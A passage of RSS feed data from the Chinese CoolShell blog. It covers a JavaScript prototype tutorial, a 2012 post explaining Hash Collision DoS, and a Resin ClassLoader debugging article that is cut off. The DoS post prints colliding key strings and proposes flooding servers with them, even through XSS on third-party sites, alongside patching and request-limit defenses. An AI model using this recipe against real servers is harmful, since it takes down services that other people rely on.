是javascript这个语言中最重要的内容。网上有太多的文章介始这个东西了。说白了，prototype就是对一对象进行扩展，其特点在于通过“复制”一个已经存在的实例来返回新的实例,而不是新建实例。被复制的实例就是我们所称的“原型”，这个原型是可定制的（当然，这里没有真正的复制，实际只是委托）。上面的这个例子中，我们扩展了实例Cal，让其有了一个operations的属性和一个calculate的方法。</p>\n<p>这样，我们可以通过这一特性来实现继承。还记得我们最最前面的那个Person吧， 下面的示例是创建一个Student来继承Person。</p>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">\nfunction Person(name, email, website){\n    this.name = name;\n    this.email = email;\n    this.website = website;\n};\n\nPerson.prototype.sayHello = function(){\n    var hello = &quot;Hello, I am &quot;+ this.name  + &quot;, &lt;br&gt;&quot; +\n                &quot;my email is: &quot; + this.email + &quot;, &lt;br&gt;&quot; +\n                &quot;my website is: &quot; + this.website;\n    return hello;\n};\n\nfunction Student(name, email, website, no, dept){\n    var proto = Object.getPrototypeOf;\n    proto(Student.prototype).constructor.call(this, name, email, website);\n    this.no = no;\n    this.dept = dept;\n}\n\n// 继承prototype\nStudent.prototype = Object.create(Person.prototype);\n\n//重置构造函数\nStudent.prototype.constructor = Student;\n\n//重载sayHello()\nStudent.prototype.sayHello = function(){\n    var proto = Object.getPrototypeOf;\n    var hello = proto(Student.prototype).sayHello.call(this) + &#039;&lt;br&gt;&#039;;\n    hello += &quot;my student no is: &quot; + this. no + &quot;, &lt;br&gt;&quot; +\n             &quot;my departent is: &quot; + this. dept;\n    return hello;\n};\n\nvar me = new Student(\n    &quot;Chen Hao&quot;,\n    &quot;haoel@hotmail.com&quot;,\n    &quot;https://coolshell.cn&quot;,\n    &quot;12345678&quot;,\n    &quot;Computer Science&quot;\n);\ndocument.write(me.sayHello());</pre>\n<h4>兼容性</h4>\n<p>上面的这些代码并不一定能在所有的浏览器下都能运行，因为上面这些代码遵循 ECMAScript 5 的规范，关于ECMAScript 5 的浏览器兼容列表，你可以看这里“<a href=\"http://kangax.github.com/es5-compat-table/\" target=\"_blank\">ES5浏览器兼容表</a>”。</p>\n<p>本文中的所有代码都在Chrome最新版中测试过了。</p>\n<p>下面是一些函数，可以用在不兼容ES5的浏览器中：</p>\n<h5>Object.create()函数</h5>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function clone(proto) {\n    function Dummy() { }\n\n    Dummy.prototype             = proto;\n    Dummy.prototype.constructor = Dummy;\n\n    return new Dummy(); //等价于Object.create(Person);\n}\n\nvar me = clone(Person);\n</pre>\n<h5>defineProperty()函数</h5>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function defineProperty(target, key, descriptor) {\n    if (descriptor.value){\n        target[key] = descriptor.value;\n    }else {\n        descriptor.get &amp;&amp; target.__defineGetter__(key, descriptor.get);\n        descriptor.set &amp;&amp; target.__defineSetter__(key, descriptor.set);\n    }\n\n    return target\n}</pre>\n<h5>keys()函数</h5>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function keys(object) { var result, key\n    result = [];\n    for (key in object){\n        if (object.hasOwnProperty(key))  result.push(key)\n    }\n\n    return result;\n}</pre>\n<h5>Object.getPrototypeOf() 函数</h5>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">function proto(object) {\n    return !object?                null\n         : &#039;__proto__&#039; in object?  object.__proto__\n         : /* not exposed? */      object.constructor.prototype\n}</pre>\n<h5>bind 函数</h5>\n<pre data-enlighter-language=\"js\" class=\"EnlighterJSRAW\">var slice = [].slice\n\nfunction bind(fn, bound_this) { var bound_args\n    bound_args = slice.call(arguments, 2)\n    return function() { var args\n        args = bound_args.concat(slice.call(arguments))\n        return fn.apply(bound_this, args) }\n}\n</pre>\n<h4>参考</h4>\n<ul>\n<li>W3CSchool</li>\n<li>MDN (Mozilla Developer Network)</li>\n<li>MSDN (Microsoft Software Development Network)</li>\n<li><a href=\"http://killdream.github.com/blog/2011/10/understanding-javascript-oop/\" target=\"_blank\">Understanding Javascript OOP</a>.</li>\n</ul>\n<p><span style=\"color: #cc0000;\"><strong>（转载时请注明作者和出处，请勿用于任何商业用途）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6731.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/03/closure-150x150.png\" alt=\"理解Javascript的闭包\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6731.html\" class=\"wp_rp_title\">理解Javascript的闭包</a></li><li ><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/joo_1-150x150.png\" alt=\"再谈javascript面向对象编程 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6668.html\" class=\"wp_rp_title\">再谈javascript面向对象编程 </a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6441.html\">Javascript 面向对象编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6441.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>108</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-14.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 14 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=14\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 20 Mar 2013 01:12:13 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>Hash Collision DoS 问题</title>\n\t\t<link>https://coolshell.cn/articles/6424.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6424.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 06 Jan 2012 00:36:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Hash]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6424</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>最近，除了国内明文密码的安全事件，还有一个事是比较大的，那就是 Hash Collision DoS （Hash碰撞的拒绝式服务攻击），有恶意的人会通过这个安全...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6424.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>最近，除了国内明文密码的安全事件，还有一个事是比较大的，那就是 Hash Collision DoS （Hash碰撞的拒绝式服务攻击），有恶意的人会通过这个安全弱点会让你的服务器运行巨慢无比。<strong>这个安全弱点利用了各语言的Hash算法的“非随机性”可以制造出N多的value不一样，但是key一样数据，然后让你的Hash表成为一张单向链表，而导致你的整个网站或是程序的运行性能以级数下降（可以很轻松的让你的CPU升到100%）</strong>。目前，这个问题出现于<a href=\"http://www.java.com/\">Java</a>, <a href=\"http://jruby.org/\">JRuby</a>, <a href=\"http://www.php.net/\">PHP</a>, <a href=\"http://python.org/\">Python</a>, <a href=\"http://rubini.us/\">Rubinius</a>, <a href=\"http://www.ruby-lang.org/\">Ruby</a>这些语言中，主要：</p>\n<ul>\n<li><a href=\"http://www.java.com\">Java</a>, 所有版本</li>\n<li><a href=\"http://jruby.org/\">JRuby</a> &lt;= 1.6.5 （目前fix在 1.6.5.1）</li>\n<li><a href=\"http://www.php.net/\">PHP</a> &lt;= 5.3.8, &lt;= 5.4.0RC3 （目前fix在 5.3.9,  5.4.0RC4）</li>\n<li><a href=\"http://python.org/\">Python</a>, all versions</li>\n<li><a href=\"http://rubini.us/\">Rubinius</a>, all versions</li>\n<li><a href=\"http://www.ruby-lang.org/\">Ruby</a> &lt;= 1.8.7-p356 （目前fix在 1.8.7-p357, 1.9.x）</li>\n<li><a href=\"http://geronimo.apache.org/\">Apache Geronimo</a>, 所有版本</li>\n<li><a href=\"http://tomcat.apache.org/\">Apache Tomcat</a> &lt;= 5.5.34, &lt;= 6.0.34, &lt;= 7.0.22 （目前fix在 5.5.35,  6.0.35,  7.0.23）</li>\n<li><a href=\"http://glassfish.java.net/\">Oracle Glassfish</a> &lt;= 3.1.1 （目前fix在mainline）</li>\n<li><a href=\"http://www.eclipse.org/jetty/\">Jetty</a>, 所有版本</li>\n<li><a href=\"http://plone.org/\">Plone</a>, 所有版本</li>\n<li><a href=\"http://rack.rubyforge.org/\">Rack</a> &lt;= 1.3.5, &lt;= 1.2.4, &lt;= 1.1.2 （目前fix 在 1.4.0, 1.3.6, 1.2.5, 1.1.3）</li>\n<li><a href=\"http://code.google.com/p/v8/\">V8 JavaScript Engine</a>, 所有版本</li>\n<li>ASP.NET 没有打MS11-100补丁</li>\n</ul>\n<p>注意，Perl没有这个问题，因为Perl在N年前就fix了这个问题了。关于这个列表的更新，请参看 <a href=\"http://www.ocert.org/advisories/ocert-2011-003.html\" target=\"_blank\">oCERT的2011-003报告</a>，比较坑爹的是，这个问题早在2003 年就在论文《<a href=\"http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003.pdf\" target=\"_blank\">通过算法复杂性进行拒绝式服务攻击</a>》中被报告了，但是好像没有引起注意，尤其是Java。</p>\n<h4>弱点攻击解释</h4>\n<p>你可以会觉得这个问题没有什么大不了的，因为黑客是看不到hash算法的，如果你这么认为，那么你就错了，这说明对Web编程的了解还不足够底层。</p>\n<p><span id=\"more-6424\"></span></p>\n<p>无论你用JSP，PHP，Python，Ruby来写后台网页的时候，在处理HTTP POST数据的时候，你的后台程序可以很容易地以访问表单字段名来访问表单值，就像下面这段程序一样：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">\n\n$usrname = $_POST[&#039;username&#039;];\n$passwd = $_POST[&#039;password&#039;];\n\n</pre>\n<p>这是怎么实现的呢？这后面的东西就是Hash Map啊，所以，我可以给你后台提交一个有10K字段的表单，这些字段名都被我精心地设计过，他们全是Hash Collision ，于是你的Web Server或语言处理这个表单的时候，就会建造这个hash map，于是在每插入一个表单字段的时候，都会先遍历一遍你所有已插入的字段，于是你的服务器的CPU一下就100%了，你会觉得这10K没什么，那么我就发很多个的请求，你的服务器一下就不行了。</p>\n<p>举个例子，你可能更容易理解：</p>\n<p>如果你有n个值—— v1, v2, v3, &#8230; vn，把他们放到hash表中应该是足够散列的，这样性能才高：</p>\n<blockquote><p>0 -&gt; v2<br />\n1 -&gt; v4<br />\n2 -&gt; v1<br />\n&#8230;<br />\n&#8230;<br />\nn -&gt; v(x)</p></blockquote>\n<p>但是，这个攻击可以让我造出N个值——  dos1, dos2, &#8230;., dosn，他们的hash key都是一样的（也就是Hash Collision），导致你的hash表成了下面这个样子：</p>\n<blockquote><p>0 &#8211; &gt; dos1 -&gt; dos2 -&gt; dos3 -&gt; &#8230;. -&gt;dosn<br />\n1 -&gt; null<br />\n2 -&gt; null<br />\n&#8230;<br />\n&#8230;<br />\nn -&gt; null</p></blockquote>\n<p>于是，单向链接就这样出现了。这样一来，O(1)的搜索算法复杂度就成了O(n)，而插入N个数据的算法复杂度就成了O(n^2)，你想想这是什么样的性能。</p>\n<p>（关于Hash表的实现，如果你忘了，那就把大学时的《数据结构》一书拿出来看看）</p>\n<h4>  Hash Collision DoS 详解</h4>\n<p>StackOverflow.com是个好网站， 合格的程序员都应该知道这个网站。上去一查，就看到了这个贴子“<a title=\"Application vulnerability due to Non Random Hash Functions\" href=\"http://stackoverflow.com/questions/8669946/application-vulnerability-due-to-non-random-hash-functions\" target=\"_blank\">Application vulnerability due to Non Random Hash Functions</a>”。我把这个贴子里的东西摘一些过来。</p>\n<p>首先，这些语言使用的Hash算法都是“非随机的”，如下所示，这个是Java和Oracle使用的Hash函数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">static int hash(int h)\n{\nh ^= (h &gt;&gt;&gt; 20) ^ (h &gt;&gt;&gt; 12);\nreturn h ^ (h &gt;&gt;&gt; 7) ^ (h &gt;&gt;&gt; 4);\n}</pre>\n<p>所谓“非随机的” Hash算法，就可以猜。比如：</p>\n<p>1）在Java里， Aa和BB这两个字符串的hash code(或hash key) 是一样的，也就是Collision 。</p>\n<p>2）于是，我们就可以通过这两个种子生成更多的拥有同一个hash key的字符串。如：&#8221;AaAa&#8221;, &#8220;AaBB&#8221;, &#8220;BBAa&#8221;, &#8220;BBBB&#8221;。这是第一次迭代。其实就是一个排列组合，写个程序就搞定了。</p>\n<p>3）然后，我们可以用这4个长度的字符串，构造8个长度的字符串，如下所示：</p>\n<pre style=\"padding-left: 30px;\"><code>\"AaAaAaAa\", \"AaAaBBBB\", \"AaAaAaBB\", \"AaAaBBAa\", \n\"BBBBAaAa\", \"BBBBBBBB\", \"BBBBAaBB\", \"BBBBBBAa\", \n\"AaBBAaAa\", \"AaBBBBBB\", \"AaBBAaBB\", \"AaBBBBAa\", \n\"BBAaAaAa\", \"BBAaBBBB\", \"BBAaAaBB\", \"BBAaBBAa\",</code></pre>\n<p><code>4）同理，我们就可以生成16个长度的，以及256个长度的字符串，总之，很容易生成N多的这样的值。</code></p>\n<p>在攻击时，我只需要把这些数据做成一个HTTP POST 表单，然后写一个无限循环的程序，不停地提交这个表单。你用你的浏览器就可以了。当然，如果做得更精妙一点的话，把你的这个表单做成一个跨站脚本，然后找一些网站的跨站漏洞，放上去，于是能过SNS的力量就可以找到N多个用户来帮你从不同的IP来攻击某服务器。</p>\n<p>&nbsp;</p>\n<h4>防守</h4>\n<p>要防守这样的攻击，有下面几个招：</p>\n<ul>\n<li>打补丁，把hash算法改了。</li>\n<li>限制POST的参数个数，限制POST的请求长度。</li>\n<li>最好还有防火墙检测异常的请求。</li>\n</ul>\n<p>不过，对于更底层的或是其它形式的攻击，可能就有点麻烦了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li><li ><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/race_condition-150x150.jpg\" alt=\"疫苗：Java HashMap的死循环\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9606.html\" class=\"wp_rp_title\">疫苗：Java HashMap的死循环</a></li><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6424.html\">Hash Collision DoS 问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6424.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>119</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Resin服务器getResource揭秘</title>\n\t\t<link>https://coolshell.cn/articles/6335.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6335.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[liuxiaori]]></dc:creator>\n\t\t<pubDate>Thu, 05 Jan 2012 00:28:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ClassLoader]]></category>\n\t\t<category><![CDATA[getResource]]></category>\n\t\t<category><![CDATA[getResourceAsStream]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[Resin]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6335</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 liuxiaori 继续分享其经历）这样的详细的图文并茂的文章让我很佩服！ 前言 接上文“由一个问题到Resin ClassLoader的学习”，本...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6335.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6335.html\">Resin服务器getResource揭秘</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（<span style=\"color: #cc0000;\">感谢网友 liuxiaori 继续分享其经历</span>）这样的详细的图文并茂的文章让我很佩服！</strong></p>\n<h4>前言</h4>\n<p>接上文“<a title=\"由一个问题到 Resin ClassLoader 的学习\" href=\"https://coolshell.cn/articles/6112.html\" target=\"_blank\">由一个问题到Resin ClassLoader的学习</a>”，本文将以this.getClass().getResource(&#8220;/&#8221;).getPath()和this.getClass().getResourceAsStream(&#8220;/a.txt&#8221;)为例，一步步解析加载的过程。</p>\n<h4>调试环境</h4>\n<ol>\n<li>下载resin3.0.23的源码(<a href=\"http://www.caucho.com/download/resin-3.0.23-src.zip\">http://www.caucho.com/download/resin-3.0.23-src.zip</a>)。</li>\n<li>部署到myeclipse中，有错误，本人忽略了。Resin可运行。</li>\n<li>将EhCacheTestAnnotation部署到resin3.0.23中。</li>\n<li>调试this.getClass().getResource(&#8220;/&#8221;).getPath()。</li>\n</ol>\n<p>问题来了，无论如何也模拟不出来&lt;compiling-loader&gt;所造成的影响，一直输出：/D:/work_other/project/resin-3.0.23/bin/ 。无奈之下，采用了这种方式：使用两个eclipse，一个使用发布版本的，部署EhCacheTestAnnotation进行调试；另外一个部署resin3.0.23源码，调试到哪里对照看源码。</p>\n<h4>开始</h4>\n<h5>1) this.getClass().getResource(&#8220;/&#8221;).getPath()</h5>\n<p>本次调试涉及的所有类加载器为：</p>\n<blockquote><p>EnvironmentClassLoader$24156236[web-app:http://localhost:8787/EhCacheTestAnnotation]</p>\n<p>EnvironmentClassLoader$7806641[host:http://localhost:8787]</p>\n<p>EnvironmentClassLoader$22459270[servlet-server:]</p>\n<p>sun.misc.Launcher$AppClassLoader@7259da</p>\n<p>sun.misc.Launcher$ExtClassLoader@16930e2</p></blockquote>\n<p>首先进入Class的getResource(String name)方法，如下图：</p>\n<p><span id=\"more-6335\"></span></p>\n<figure id=\"attachment_6390\" aria-describedby=\"caption-attachment-6390\" style=\"width: 553px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6390\" title=\"图片1\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片1.png\" alt=\"图片1\" width=\"553\" height=\"182\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片1.png 553w, https://coolshell.cn/wp-content/uploads/2012/01/图片1-300x99.png 300w\" sizes=\"(max-width: 553px) 100vw, 553px\" /><figcaption id=\"caption-attachment-6390\" class=\"wp-caption-text\">图1</figcaption></figure>\n<p>最后委托给ClassLoader的getResource方法。那么这个ClassLoader是哪个呢？一看下图便知：</p>\n<figure id=\"attachment_6391\" aria-describedby=\"caption-attachment-6391\" style=\"width: 553px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6391\" title=\"图片2\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片2.png\" alt=\"图片2\" width=\"553\" height=\"85\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片2.png 553w, https://coolshell.cn/wp-content/uploads/2012/01/图片2-300x46.png 300w\" sizes=\"(max-width: 553px) 100vw, 553px\" /><figcaption id=\"caption-attachment-6391\" class=\"wp-caption-text\">图2</figcaption></figure>\n<p>是DynamicClassLoader的getResource方法，原理上文已述。</p>\n<p>最终会委托给sun.misc.Launcher$ExtClassLoader@16930e2类加载器的getResource方法，返回null，然后开始回溯。</p>\n<p>还记得吗？当java.net.URLClassLoader分支的ClassLoader的getResource方法返回值为null后，就要遍历嵌入DynamicClassLoader中的Resin的Loader(即_loaders集合)。</p>\n<p>当然回溯到EnvironmentClassLoader$22459270[servlet-server:]中，那么它中_loaders这个集合中的Loader又有哪些呢？</p>\n<p>以图为证，当天确实回溯到该ClassLoader，而且开始准备遍历_loaders集合。</p>\n<figure id=\"attachment_6392\" aria-describedby=\"caption-attachment-6392\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6392\" title=\"图3\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片3.png\" alt=\"图3\" width=\"554\" height=\"74\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片3.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片3-300x40.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6392\" class=\"wp-caption-text\">图3</figcaption></figure>\n<p>DynamicClassLoader的1306行，没问题，resin3.0.23源码截图为证：</p>\n<figure id=\"attachment_6393\" aria-describedby=\"caption-attachment-6393\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6393\" title=\"图4\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片4.png\" alt=\"图4\" width=\"554\" height=\"236\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片4.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片4-300x127.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6393\" class=\"wp-caption-text\">图4</figcaption></figure>\n<p>不做多余解释，那么“servlet-server”这个ClassLoader中的_loaders集合中都放了一些什么呢？</p>\n<figure id=\"attachment_6394\" aria-describedby=\"caption-attachment-6394\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6394\" title=\"图5\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片5.png\" alt=\"图5\" width=\"554\" height=\"121\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片5.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片5-300x65.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6394\" class=\"wp-caption-text\">图5</figcaption></figure>\n<p>存放了两个TreeLoader(Loader的子类)，然未找到结果，返回null。继续回溯。</p>\n<p>这次轮到遍历EnvironmentClassLoader$7806641[host:http://localhost:8787]的_loaders。下图为证：</p>\n<figure id=\"attachment_6395\" aria-describedby=\"caption-attachment-6395\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6395\" title=\"图6\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片6.png\" alt=\"图6\" width=\"554\" height=\"170\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/01/图片6.png 554w, https://coolshell.cn/wp-content/uploads/2012/01/图片6-300x92.png 300w\" sizes=\"(max-width: 554px) 100vw, 554px\" /><figcaption id=\"caption-attachment-6395\" class=\"wp-caption-text\">图6</figcaption></figure>\n<p>_loaders中的内容如下图：</p>\n<figure id=\"attachment_6396\" aria-describedby=\"caption-attachment-6396\" style=\"width: 554px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-6396\" title=\"图7\" src=\"https://coolshell.cn/wp-content/uploads/2012/01/图片7.png\" alt=\"图7\" width=\"554\" height=\"193\" 